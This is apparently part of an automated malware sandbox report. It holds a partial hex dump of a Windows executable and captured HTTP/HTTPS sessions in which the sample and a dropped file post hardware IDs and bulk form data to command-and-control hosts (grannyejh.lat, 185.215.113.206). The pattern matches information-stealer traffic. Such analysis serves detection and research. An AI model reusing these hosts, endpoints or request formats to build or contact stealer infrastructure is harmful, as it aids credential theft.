92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 d0 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 4f 00 00 04 00 00 dd 7d 2c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(N@O},@M$a$$ $h@.rsrc$x@.idata $z@wfoskafw*$)\|@zpagxsbpNr+@.taggant0N"v+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49778	185.215.113.206	80	7708	C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:40:58.465389967 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 19, 2024 08:40:59.810911894 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 19, 2024 08:40:59.813199997 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 35 30 45 43 31 31 38 32 36 41 32 31 37 36 32 31 38 33 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="hwid"3D50EC11826A2176218386------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="build"stok------DBKEHDGDGHCBGCAKFIII--
Dec 19, 2024 08:41:00.260840893 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:41:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:20 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-19 07:40:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 07:40:21 UTC	1121	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vjolltd5he3am4u1o64p97r3fc; expires=Mon, 14 Apr 2025 01:27:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=57ZTRcEOqSIb1fKwWu8gFoftGO1qdE1er7Vq%2BXMiQ4erX2VPgNpNB7%2FPxdb7t%2B%2FdwHyQ4%2FPdKSZB489Vemo6MqzwYR2OHQCf09yR9MO4UAGDbjIUoTfZWRf9w0pmI5Ct"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45be752c125e67-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2146&min_rtt=2053&rtt_var=836&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1422308&cwnd=243&unsent_bytes=0&cid=c8901f4139400356&ts=964&x=0"
2024-12-19 07:40:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 07:40:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:22 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-19 07:40:22 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-19 07:40:23 UTC	1115	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vb8q47dp720l652q8re5n0caur; expires=Mon, 14 Apr 2025 01:27:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FrRpZjkCcchuwRkxX1nKNxWnr3ZaO0VGpVu92qtjMUA7VLdBHOPTNxNfCHyPWxsswiQpAMAW9mWpcdoDnqhh0iAN2HOmp80NST%2Bv6fCIToEuFtOgI0TinCRYs%2F8qHzaC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45be82b87d0c82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1674&min_rtt=1662&rtt_var=647&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1660978&cwnd=208&unsent_bytes=0&cid=e8afbfed242b9fac&ts=868&x=0"
2024-12-19 07:40:23 UTC	254	IN	Data Raw: 63 34 39 0d 0a 45 79 4a 6b 67 79 64 6c 61 37 51 44 4e 77 4e 72 61 4b 42 41 4d 38 46 51 6d 4b 52 72 61 6f 71 70 34 64 52 39 47 58 57 62 70 4d 70 6f 41 42 4b 68 48 56 46 48 6c 6e 42 53 49 56 45 63 30 6a 56 57 37 58 4c 35 77 45 6c 51 37 4d 69 4e 70 78 67 31 56 2b 33 4a 36 43 6c 45 42 65 39 55 41 45 65 57 5a 6b 38 68 55 54 50 62 59 6c 61 76 63 71 4b 47 44 67 44 6f 79 49 32 32 48 48 49 61 36 38 69 70 65 30 34 44 36 30 49 47 44 39 56 76 57 6d 59 4f 44 63 45 71 58 61 67 39 38 4d 6c 4a 52 71 6a 4d 6d 2f 5a 48 4f 7a 6a 2b 30 4b 74 65 51 78 66 6f 42 52 68 48 7a 79 46 53 62 55 6c 53 67 69 46 57 6f 7a 7a 2b 77 41 41 43 34 73 47 46 74 78 6c 7a 42 66 4c 43 6f 6e 74 41 41 4f 70 49 44 78 76 59 5a 56 31 74 43 41 66 42 59 68 2f 6a 4e 65 4b 47 55 55 69 37 2b 59 43 6e 44 Data Ascii: c49EyJkgydla7QDNwNraKBAM8FQmKRraoqp4dR9GXWbpMpoABKhHVFHlnBSIVEc0jVW7XL5wElQ7MiNpxg1V+3J6ClEBe9UAEeWZk8hUTPbYlavcqKGDgDoyI22HHIa68ipe04D60IGD9VvWmYODcEqXag98MlJRqjMm/ZHOzj+0KteQxfoBRhHzyFSbUlSgiFWozz+wAAC4sGFtxlzBfLContAAOpIDxvYZV1tCAfBYh/jNeKGUUi7+YCnD
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 6d 34 61 36 63 44 6f 62 67 34 66 6f 55 49 4c 53 59 34 68 58 57 30 48 44 38 45 74 56 71 49 79 36 4d 6b 4a 43 2b 44 44 68 37 77 51 64 42 6a 33 7a 4b 39 35 53 51 48 75 51 67 38 50 32 57 49 56 4c 30 6b 4e 32 6d 49 4a 34 78 4c 71 78 51 6f 63 35 64 72 44 71 56 46 69 56 2f 37 4b 36 43 6b 41 41 4f 39 45 43 67 6e 45 61 56 35 71 44 42 6a 4a 4b 31 79 75 4d 76 66 4d 42 67 76 6f 7a 49 6d 38 45 48 45 54 39 4d 75 75 63 55 42 47 72 77 55 41 45 5a 59 35 46 55 49 4d 47 73 55 75 52 2b 45 49 75 74 6c 48 45 61 6a 4d 6a 2f 5a 48 4f 78 2f 38 78 61 74 36 54 77 58 70 54 68 55 4a 78 47 64 59 5a 42 73 4d 78 79 78 62 6f 43 44 77 79 41 38 4c 34 63 43 4b 73 78 68 2f 56 37 65 47 72 32 6b 41 58 71 46 6b 43 67 4c 61 61 30 4a 68 53 52 57 4d 4f 78 47 6b 50 72 71 65 53 51 7a 70 7a 34 4b 79 Data Ascii: m4a6cDobg4foUILSY4hXW0HD8EtVqIy6MkJC+DDh7wQdBj3zK95SQHuQg8P2WIVL0kN2mIJ4xLqxQoc5drDqVFiV/7K6CkAAO9ECgnEaV5qDBjJK1yuMvfMBgvozIm8EHET9MuucUBGrwUAEZY5FUIMGsUuR+EIutlHEajMj/ZHOx/8xat6TwXpThUJxGdYZBsMxyxboCDwyA8L4cCKsxh/V7eGr2kAXqFkCgLaa0JhSRWMOxGkPrqeSQzpz4Ky
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 6d 65 36 46 74 44 45 75 4a 50 52 54 7a 56 62 31 74 6d 48 30 72 64 62 45 6a 6a 4e 66 61 47 55 55 6a 6c 79 6f 75 77 44 58 51 61 2b 73 69 6d 66 6b 55 4a 36 55 55 48 42 4e 4e 6c 58 6d 6f 4b 42 38 59 77 57 36 4d 36 2f 38 63 44 41 71 69 46 77 37 45 48 4f 30 2b 35 39 37 39 36 41 6a 50 69 53 77 6b 4f 77 43 46 4b 4c 78 42 4b 78 53 34 52 2b 33 4c 33 7a 67 77 4e 35 38 71 4a 75 42 70 78 47 2f 48 49 71 32 4e 50 41 75 46 4a 44 77 50 62 62 31 46 70 41 41 48 4a 4a 46 47 69 4f 4c 71 49 53 51 2f 77 69 39 76 32 4b 33 77 62 39 4d 6e 71 52 45 4d 49 37 30 49 52 53 63 6b 76 54 43 45 4f 42 6f 4a 36 45 61 38 37 2b 73 30 44 44 4f 6a 4d 6a 72 4d 63 66 42 54 30 77 61 4a 2f 52 77 4c 74 54 41 6f 50 31 6d 5a 52 5a 42 73 50 79 79 35 64 34 33 79 36 77 52 46 49 73 49 75 73 73 51 6c 34 4f Data Ascii: me6FtDEuJPRTzVb1tmH0rdbEjjNfaGUUjlyouwDXQa+simfkUJ6UUHBNNlXmoKB8YwW6M6/8cDAqiFw7EHO0+59796AjPiSwkOwCFKLxBKxS4R+3L3zgwN58qJuBpxG/HIq2NPAuFJDwPbb1FpAAHJJFGiOLqISQ/wi9v2K3wb9MnqREMI70IRSckvTCEOBoJ6Ea87+s0DDOjMjrMcfBT0waJ/RwLtTAoP1mZRZBsPyy5d43y6wRFIsIussQl4O
2024-12-19 07:40:23 UTC	160	IN	Data Raw: 6a 54 67 6a 6f 53 41 45 42 30 57 39 59 61 67 38 42 78 53 56 58 72 6a 72 33 77 77 6f 4a 37 4d 47 52 74 52 52 78 47 76 4f 47 35 6a 46 48 48 71 45 64 52 79 37 61 53 45 56 36 47 78 79 43 50 52 2b 36 63 76 33 4b 53 56 43 6f 79 49 79 2f 45 48 4d 66 39 73 6d 73 66 30 59 41 37 45 41 49 41 38 52 70 57 32 77 43 42 63 6b 77 55 61 34 32 39 73 49 42 41 2b 4b 4c 7a 66 59 59 59 31 65 68 68 70 31 38 54 77 62 69 55 30 63 57 6d 48 67 56 5a 67 56 4b 6d 6d 4a 64 72 54 4c 31 79 67 55 44 34 0d 0a Data Ascii: jTgjoSAEB0W9Yag8BxSVXrjr3wwoJ7MGRtRRxGvOG5jFHHqEdRy7aSEV6GxyCPR+6cv3KSVCoyIy/EHMf9smsf0YA7EAIA8RpW2wCBckwUa429sIBA+KLzfYYY1ehhp18TwbiU0cWmHgVZgVKmmJdrTL1ygUD4
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 31 30 36 32 0d 0a 4d 71 50 75 42 68 2b 48 76 48 4f 75 6e 42 45 44 75 42 4c 43 41 6a 53 5a 46 42 6c 44 67 37 45 4c 52 48 74 63 76 33 65 53 56 43 6f 35 4b 53 44 58 56 6f 74 75 64 6e 6d 61 41 41 42 37 51 56 66 53 64 70 69 57 57 6b 47 44 4d 73 75 57 36 6f 35 39 73 30 4e 42 4f 48 4f 68 62 63 61 66 68 62 39 79 71 4a 33 51 77 58 75 53 67 67 42 6c 69 38 56 5a 68 46 4b 6d 6d 4a 30 74 44 6e 30 77 45 6b 58 70 74 4c 44 73 52 4d 37 54 37 6e 4b 6f 58 64 47 41 2b 31 45 41 51 48 54 61 56 46 67 44 77 7a 42 4c 56 57 6d 4d 2f 58 43 42 51 62 69 79 6f 4b 36 46 48 51 63 2f 49 62 6d 4d 55 63 65 6f 52 31 48 4f 4e 56 33 51 6e 45 46 53 74 31 73 53 4f 4d 31 39 6f 5a 52 53 4f 6e 5a 69 62 77 52 66 68 6a 38 78 61 64 32 54 51 44 74 54 77 34 42 30 47 35 63 63 77 6f 47 7a 43 56 66 72 7a Data Ascii: 1062MqPuBh+HvHOunBEDuBLCAjSZFBlDg7ELRHtcv3eSVCo5KSDXVotudnmaAAB7QVfSdpiWWkGDMsuW6o59s0NBOHOhbcafhb9yqJ3QwXuSggBli8VZhFKmmJ0tDn0wEkXptLDsRM7T7nKoXdGA+1EAQHTaVFgDwzBLVWmM/XCBQbiyoK6FHQc/IbmMUceoR1HONV3QnEFSt1sSOM19oZRSOnZibwRfhj8xad2TQDtTw4B0G5ccwoGzCVfrz
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 44 2b 2f 43 69 4b 51 56 66 42 44 79 7a 71 4e 2b 52 68 54 74 53 78 55 4d 78 48 4d 56 4c 30 6b 4e 32 6d 49 4a 34 77 54 39 31 68 6b 4c 71 76 71 56 74 51 6c 77 47 76 57 47 74 7a 39 5a 52 75 5a 4a 52 31 47 57 5a 31 70 6f 43 67 58 44 4b 31 32 75 4e 2f 50 44 43 41 37 73 77 59 6d 32 47 58 30 57 2f 4d 79 72 63 45 6f 50 35 6b 30 41 43 73 51 68 47 79 45 4f 45 6f 4a 36 45 59 6f 31 36 4d 67 5a 53 50 65 46 6d 76 59 59 64 31 65 68 68 71 78 37 54 77 4c 6d 53 51 45 4d 30 47 78 55 62 67 67 4b 7a 53 5a 61 71 6a 54 37 79 77 77 46 37 4e 6d 4a 76 52 42 33 48 76 58 4c 36 44 38 41 41 66 6b 46 58 30 6e 6e 62 46 74 76 44 68 79 43 50 52 2b 36 63 76 33 4b 53 56 43 6f 79 6f 2b 35 48 48 51 55 2b 73 65 69 59 31 49 4b 36 45 30 43 42 64 31 76 55 33 4d 50 42 63 73 68 55 71 6f 31 38 73 6f Data Ascii: D+/CiKQVfBDyzqN+RhTtSxUMxHMVL0kN2mIJ4wT91hkLqvqVtQlwGvWGtz9ZRuZJR1GWZ1poCgXDK12uN/PDCA7swYm2GX0W/MyrcEoP5k0ACsQhGyEOEoJ6EYo16MgZSPeFmvYYd1ehhqx7TwLmSQEM0GxUbggKzSZaqjT7ywwF7NmJvRB3HvXL6D8AAfkFX0nnbFtvDhyCPR+6cv3KSVCoyo+5HHQU+seiY1IK6E0CBd1vU3MPBcshUqo18so
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 4a 4c 32 52 32 30 48 37 73 47 33 50 31 6c 47 35 6b 6c 48 55 5a 5a 6e 58 47 63 4f 44 4d 77 77 56 4b 55 39 39 63 38 41 44 4f 44 49 67 37 49 62 66 42 4c 36 79 71 4e 32 51 77 6e 6c 54 41 6b 41 32 53 45 62 49 51 34 53 67 6e 6f 52 67 69 6e 35 79 67 52 49 39 34 57 61 39 68 68 33 56 36 47 47 70 48 39 46 42 75 74 44 41 77 7a 51 61 31 42 68 41 67 6e 4e 4a 6c 65 6e 50 66 72 4e 41 41 6e 75 7a 6f 6d 39 47 58 59 55 2f 38 44 6f 50 77 41 42 2b 51 56 66 53 66 5a 36 57 47 30 4f 53 74 31 73 53 4f 4d 31 39 6f 5a 52 53 4f 50 48 68 37 45 66 64 68 54 78 77 36 78 37 52 51 62 70 56 77 38 4a 30 58 4e 48 59 51 41 50 7a 69 46 52 70 7a 54 7a 77 41 6f 4d 71 49 58 44 73 51 63 37 54 37 6e 72 70 48 5a 70 41 66 6f 46 47 45 66 50 49 56 4a 74 53 56 4b 43 49 31 71 70 50 66 66 46 44 77 76 6a Data Ascii: JL2R20H7sG3P1lG5klHUZZnXGcODMwwVKU99c8ADODIg7IbfBL6yqN2QwnlTAkA2SEbIQ4SgnoRgin5ygRI94Wa9hh3V6GGpH9FButDAwzQa1BhAgnNJlenPfrNAAnuzom9GXYU/8DoPwAB+QVfSfZ6WG0OSt1sSOM19oZRSOPHh7EfdhTxw6x7RQbpVw8J0XNHYQAPziFRpzTzwAoMqIXDsQc7T7nrpHZpAfoFGEfPIVJtSVKCI1qpPffFDwvj
2024-12-19 07:40:23 UTC	95	IN	Data Raw: 5a 69 56 2b 2b 47 38 43 4d 4f 52 76 4d 46 58 30 6d 52 59 6b 64 7a 44 77 6e 55 49 52 61 64 44 4e 33 51 41 77 2f 34 7a 4a 53 35 58 7a 56 58 39 6f 62 77 53 41 41 50 35 6c 34 57 48 39 74 78 55 69 45 32 52 49 49 36 45 66 74 79 7a 38 55 48 42 75 2f 64 6b 76 73 34 62 52 33 2b 31 71 39 0d 0a Data Ascii: ZiV++G8CMORvMFX0mRYkdzDwnUIRadDN3QAw/4zJS5XzVX9obwSAAP5l4WH9txUiE2RII6Eftyz8UHBu/dkvs4bR3+1q9
2024-12-19 07:40:23 UTC	1369	IN	Data Raw: 38 30 64 0d 0a 6d 54 30 61 76 42 51 46 4a 6a 6a 49 62 49 51 30 62 67 6e 6f 42 38 57 6d 76 6c 56 35 59 75 74 54 4e 72 31 39 74 56 36 47 55 35 6a 46 53 52 72 6b 46 51 41 72 45 63 31 4e 69 48 77 6d 46 48 47 2b 45 4b 50 66 41 48 68 6e 57 39 59 53 73 45 6e 30 41 36 49 71 39 63 6b 34 49 35 6c 4e 48 52 35 5a 75 46 54 6b 77 53 6f 70 69 62 75 31 79 34 6f 5a 52 53 4e 33 49 6a 62 67 59 62 51 61 30 34 62 4a 38 52 68 48 77 42 55 6c 4a 30 43 45 4e 4d 55 64 4b 78 6a 4d 52 2b 32 4b 6f 6e 56 78 62 76 35 76 52 71 56 46 69 56 2b 2b 47 38 43 4d 4f 52 76 4d 46 58 30 6d 52 59 6b 64 7a 44 77 6e 55 49 52 61 64 44 4e 54 42 44 77 33 76 32 38 47 59 46 47 38 51 75 59 6a 6f 66 67 42 65 32 41 56 50 53 65 6b 76 46 58 6c 4a 55 6f 49 58 55 71 30 38 2f 64 41 59 52 63 62 4d 68 62 4d 59 61 Data Ascii: 80dmT0avBQFJjjIbIQ0bgnoB8WmvlV5YutTNr19tV6GU5jFSRrkFQArEc1NiHwmFHG+EKPfAHhnW9YSsEn0A6Iq9ck4I5lNHR5ZuFTkwSopibu1y4oZRSN3IjbgYbQa04bJ8RhHwBUlJ0CENMUdKxjMR+2KonVxbv5vRqVFiV++G8CMORvMFX0mRYkdzDwnUIRadDNTBDw3v28GYFG8QuYjofgBe2AVPSekvFXlJUoIXUq08/dAYRcbMhbMYa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49701	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:25 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1NJCAY6KW2V3CSZE6R6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12850 Host: grannyejh.lat
2024-12-19 07:40:25 UTC	12850	OUT	Data Raw: 2d 2d 31 4e 4a 43 41 59 36 4b 57 32 56 33 43 53 5a 45 36 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 31 4e 4a 43 41 59 36 4b 57 32 56 33 43 53 5a 45 36 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 31 4e 4a 43 41 59 36 4b 57 32 56 33 43 53 5a 45 36 52 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --1NJCAY6KW2V3CSZE6R6Content-Disposition: form-data; name="hwid"69089A9116D18572AC8923850305D13E--1NJCAY6KW2V3CSZE6R6Content-Disposition: form-data; name="pid"2--1NJCAY6KW2V3CSZE6R6Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-19 07:40:26 UTC	1138	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a8koai98id164gheajuh2loo0l; expires=Mon, 14 Apr 2025 01:27:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=efyyxFOe6QGM7TS1S9215myt7%2BAtXr2%2F7i%2FwPmJbDP%2BbhcNImuK%2BEy00jUHEQMSuoSTxlPXsuGOZCjkV6CU0%2F5TaH%2F0tPV%2BYabRQhFQC1kacIfk6y%2ByY%2FPTUkrOzZT%2FN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45be920aaa42b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1611&min_rtt=1610&rtt_var=606&sent=14&recv=19&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13788&delivery_rate=1803582&cwnd=236&unsent_bytes=0&cid=c2ec837180f5c9d6&ts=1053&x=0"
2024-12-19 07:40:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:40:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49702	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:40:27 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FGYAJOUG1YW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15034 Host: grannyejh.lat
2024-12-19 07:40:27 UTC	15034	OUT	Data Raw: 2d 2d 46 47 59 41 4a 4f 55 47 31 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 39 30 38 39 41 39 31 31 36 44 31 38 35 37 32 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 46 47 59 41 4a 4f 55 47 31 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 47 59 41 4a 4f 55 47 31 59 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 46 47 59 41 4a 4f 55 47 31 59 57 0d 0a 43 6f 6e 74 Data Ascii: --FGYAJOUG1YWContent-Disposition: form-data; name="hwid"69089A9116D18572AC8923850305D13E--FGYAJOUG1YWContent-Disposition: form-data; name="pid"2--FGYAJOUG1YWContent-Disposition: form-data; name="lid"PsFKDg--pablo--FGYAJOUG1YWCont
2024-12-19 07:40:28 UTC	1120	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k9jpubn0gvqgknpnod3vjlti5f; expires=Mon, 14 Apr 2025 01:27:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EBrmyYuPoEdvLHUHIoGavetFH%2F3EJOtI8%2F8wXi8KcUEnU4bHPacp15yH%2FTLmL48u0KIrULIQews0o2lBePMhXv8noczdmJJzmq8HQ693Y3gTTx4lt6ru64JMhsXVozyA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f45bea00861728c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1805&min_rtt=1800&rtt_var=685&sent=9&recv=21&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15964&delivery_rate=1585233&cwnd=157&unsent_bytes=0&cid=985acd97b695913d&ts=867&x=0"
2024-12-19 07:40:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 07:40:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49704	104.21.64.80	443	1004	C:\Users\user\Desktop\Y41xQGmT37.exe

Timestamp	Bytes transferred	Direction	Data
